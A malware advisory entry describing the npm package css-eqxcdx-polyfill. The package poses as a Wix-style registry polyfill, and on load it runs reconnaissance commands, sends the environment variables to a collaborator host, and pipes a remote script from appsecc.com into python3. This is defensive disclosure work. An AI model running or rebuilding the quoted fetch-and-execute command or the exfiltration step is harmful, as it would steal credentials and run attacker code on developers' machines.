MAL-2026-17573 Malicious code in css-eqxcdx-polyfill (npm)

The package presents itself as a polyfill exporting Wix thunderbolt-style registry stubs (thunderboltRegistry, siteAssetsRegistry, documentManagementRegistry, editorRegistry, corvidRegistry, etc.), but thunderboltRegistry.js runs an IIFE on module load that performs two installer-side attacks. First, it executes id, whoami, env, and ifconfig/ip addr via child_process.execSync, collects the OS hostname, and POSTs the output together with a wholesale dump of process environment variables via fetch() to the hardcoded Burp Collaborator OAST host https://unl9pgk6ei4uf80n5tf4iktspjvbuzkn9.oastify.com/, including a tagged cmd=env beacon. Environment variables on developer and CI hosts routinely contain cloud, registry, and CI credentials. Second, it runs curl -L https://appsecc.com/py | python3 via execSync, fetching and executing an arbitrary remote Python payload on the installer's machine, with a self-labeled cmd=reverse-shell beacon sent to the same OAST host. The registry-API facade and the Wix-adjacent naming are cover for the reconnaissance and remote code execution in the same file; the package has no legitimate functionality.